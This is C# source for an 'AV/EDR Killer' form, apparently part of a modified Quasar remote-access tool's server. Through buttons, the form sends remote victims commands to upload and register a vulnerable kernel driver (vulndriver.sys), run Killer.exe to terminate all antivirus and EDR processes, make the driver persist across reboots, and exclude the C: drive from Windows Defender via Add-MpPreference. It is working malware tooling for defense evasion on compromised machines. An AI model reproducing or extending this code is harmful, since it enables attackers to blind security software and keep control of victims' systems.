using Quasar.Common.Messages;
using Quasar.Server.Forms.DarkMode;
using Quasar.Server.Models;
using Quasar.Server.Messages;
using Quasar.Server.Forms.DarkMode;
using Quasar.Server.Models;
using Quasar.Server.Networking;
using Quasar.Server.Forms.DarkMode;
using Quasar.Server.Models;
using Quasar.Server.Utilities;
using System;
using System.IO;
using System.Windows.Forms;

namespace Quasar.Server.Forms
{
    public partial class FrmAVKiller : Form
    {
        private readonly Client _client;
        private readonly AVKillerHandler _handler;
        private byte[] _driverData;
        private byte[] _killerData;

        public FrmAVKiller(Client client)
        {
            _client = client;
            InitializeComponent();

            _handler = new AVKillerHandler(client);
            _handler.OutputReceived += Handler_OutputReceived;
            MessageHandler.Register(_handler);

            // Load driver and killer files
            LoadResources();
        }

        private void LoadResources()
        {
            try
            {
                string driverPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Resources", "vulndriver.sys");
                string killerPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Resources", "Killer.exe");

                if (File.Exists(driverPath))
                {
                    _driverData = File.ReadAllBytes(driverPath);
                    AddLog($"Loaded driver file ({_driverData.Length} bytes)");
                }
                else
                {
                    AddLog($"WARNING: Driver file not found at {driverPath}", true);
                }

                if (File.Exists(killerPath))
                {
                    _killerData = File.ReadAllBytes(killerPath);
                    AddLog($"Loaded killer file ({_killerData.Length} bytes)");
                }
                else
                {
                    AddLog($"WARNING: Killer file not found at {killerPath}", true);
                }
            }
            catch (Exception ex)
            {
                AddLog($"ERROR loading resources: {ex.Message}", true);
            }
        }

        private void Handler_OutputReceived(object sender, OutputEventArgs e)
        {
            if (InvokeRequired)
            {
                Invoke(new Action(() => Handler_OutputReceived(sender, e)));
                return;
            }

            AddFormattedOutput(e.Output, e.IsError);
        }

        private void FrmAVKiller_Load(object sender, EventArgs e)
        {
            if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); }
            ThemeManager.ApplyThemeToNewForm(this);
            this.Text = $"AV/EDR Killer - {_client.Value.Username}@{_client.EndPoint.Address}";
            AddLog($"Connected to {_client.Value.Username}@{_client.EndPoint.Address}");
            AddLog("Ready to execute commands");
            txtLog.AppendText("\r\n");
        }

        private void btnCheckDriver_Click(object sender, EventArgs e)
        {
            AddLog("═══════════════════════════════════════════════════════════");
            AddLog("Checking for driver...");
            txtLog.AppendText("\r\n");
            _client.Send(new DoAVKillerCommand
            {
                Command = "CHECK_DRIVER"
            });
        }

        private void btnInstallDriver_Click(object sender, EventArgs e)
        {
            if (_driverData == null || _driverData.Length == 0)
            {
                MessageBox.Show("Driver file not loaded. Please ensure vulndriver.sys exists in Resources folder.",
                    "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            DialogResult result = MessageBox.Show(
                "Install vulnerable driver to target system?\n\n" +
                "This will:\n" +
                "1. Upload vulndriver.sys to a random temp directory\n" +
                "2. Register it as a kernel service\n" +
                "3. Start the driver\n\n" +
                "This requires administrator privileges on the target.",
                "Confirm Installation",
                MessageBoxButtons.YesNo,
                MessageBoxIcon.Warning);

            if (result == DialogResult.Yes)
            {
                AddLog("═══════════════════════════════════════════════════════════");
                AddLog("Installing driver...");
                txtLog.AppendText("\r\n");
                _client.Send(new DoAVKillerCommand
                {
                    Command = "INSTALL_DRIVER",
                    DriverData = _driverData
                });
            }
        }

        private void btnKillAVEDR_Click(object sender, EventArgs e)
        {
            if (_killerData == null || _killerData.Length == 0)
            {
                MessageBox.Show("Killer file not loaded. Please ensure Killer.exe exists in Resources folder.",
                    "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            DialogResult result = MessageBox.Show(
                "Attempt to kill ALL AV/EDR processes on target system?\n\n" +
                "This is a high-risk operation that:\n" +
                "- Requires the vulnerable driver to be installed\n" +
                "- May trigger alerts\n" +
                "- Will terminate security software\n\n" +
                "Continue?",
                "Confirm Action",
                MessageBoxButtons.YesNo,
                MessageBoxIcon.Warning);

            if (result == DialogResult.Yes)
            {
                AddLog("═══════════════════════════════════════════════════════════");
                AddLog("Executing AV/EDR termination...");
                txtLog.AppendText("\r\n");
                btnStopKiller.Enabled = true;
                _client.Send(new DoAVKillerCommand
                {
                    Command = "KILL_AVEDR",
                    KillerData = _killerData
                });
            }
        }

        private void btnStopKiller_Click(object sender, EventArgs e)
        {
            DialogResult result = MessageBox.Show(
                "Stop the Killer.exe process on target system?",
                "Confirm Stop",
                MessageBoxButtons.YesNo,
                MessageBoxIcon.Question);

            if (result == DialogResult.Yes)
            {
                AddLog("═══════════════════════════════════════════════════════════");
                AddLog("Sending stop command...");
                txtLog.AppendText("\r\n");
                btnStopKiller.Enabled = false;
                _client.Send(new DoAVKillerCommand
                {
                    Command = "STOP_KILLER"
                });
            }
        }

        private void chkMakePersistent_CheckedChanged(object sender, EventArgs e)
        {
            if (chkMakePersistent.Checked)
            {
                DialogResult result = MessageBox.Show(
                    "Make the driver persistent across reboots?\n\n" +
                    "This will configure the driver to auto-start on system boot.",
                    "Confirm Persistence",
                    MessageBoxButtons.YesNo,
                    MessageBoxIcon.Warning);

                if (result == DialogResult.Yes)
                {
                    AddLog("═══════════════════════════════════════════════════════════");
                    AddLog("Making driver persistent...");
                    txtLog.AppendText("\r\n");
                    _client.Send(new DoAVKillerCommand
                    {
                        Command = "MAKE_PERSISTENT"
                    });
                }
                else
                {
                    chkMakePersistent.Checked = false;
                }
            }
        }

        private void btnExcludeCDrive_Click(object sender, EventArgs e)
        {
            DialogResult result = MessageBox.Show(
                "Exclude C:\\ drive from Windows Defender?\n\n" +
                "This will run:\nPowerShell Add-MpPreference -ExclusionPath 'C:\\'\n\n" +
                "This requires administrator privileges.",
                "Confirm Exclusion",
                MessageBoxButtons.YesNo,
                MessageBoxIcon.Warning);

            if (result == DialogResult.Yes)
            {
                AddLog("═══════════════════════════════════════════════════════════");
                AddLog("Excluding C:\\ from Windows Defender...");
                txtLog.AppendText("\r\n");
                _client.Send(new DoAVKillerCommand
                {
                    Command = "EXCLUDE_CDRIVE"
                });
            }
        }

        private void AddLog(string message, bool isError = false)
        {
            string timestamp = DateTime.Now.ToString("HH:mm:ss");
            string prefix = isError ? "[ERROR]" : "[INFO]";
            txtLog.AppendText($"[{timestamp}] {prefix} {message}\r\n");
        }

        private void AddFormattedOutput(string message, bool isError = false)
        {
            if (string.IsNullOrWhiteSpace(message))
                return;

            // Clean up the message
            message = message.TrimEnd('\n', '\r');

            // Format based on content
            if (message.StartsWith(">>"))
            {
                // Status messages from client
                txtLog.AppendText($"  {message.Substring(2).Trim()}\r\n");
            }
            else if (message.Contains("Killed:") || message.Contains("killed") || message.Contains("Terminated"))
            {
                // Process kill messages - format as list
                txtLog.AppendText($"  ✓ {message}\r\n");
            }
            else if (message.StartsWith("DRIVER:"))
            {
                // Driver status
                string status = message.Replace("DRIVER:", "").Trim();
                txtLog.AppendText($"  Driver Status: {status}\r\n");
            }
            else if (message.Contains("SUCCESS") || message.Contains("completed"))
            {
                // Success messages
                txtLog.AppendText($"  ✓ {message}\r\n");
            }
            else if (isError || message.Contains("ERROR") || message.Contains("FAILED") || message.Contains("failed"))
            {
                // Error messages
                txtLog.AppendText($"  ✗ {message}\r\n");
            }
            else
            {
                // Regular output
                txtLog.AppendText($"  {message}\r\n");
            }
        }

        private void FrmAVKiller_FormClosing(object sender, FormClosingEventArgs e)
        {
            if (_handler != null)
            {
                _handler.OutputReceived -= Handler_OutputReceived;
                MessageHandler.Unregister(_handler);
            }
        }
    }
}
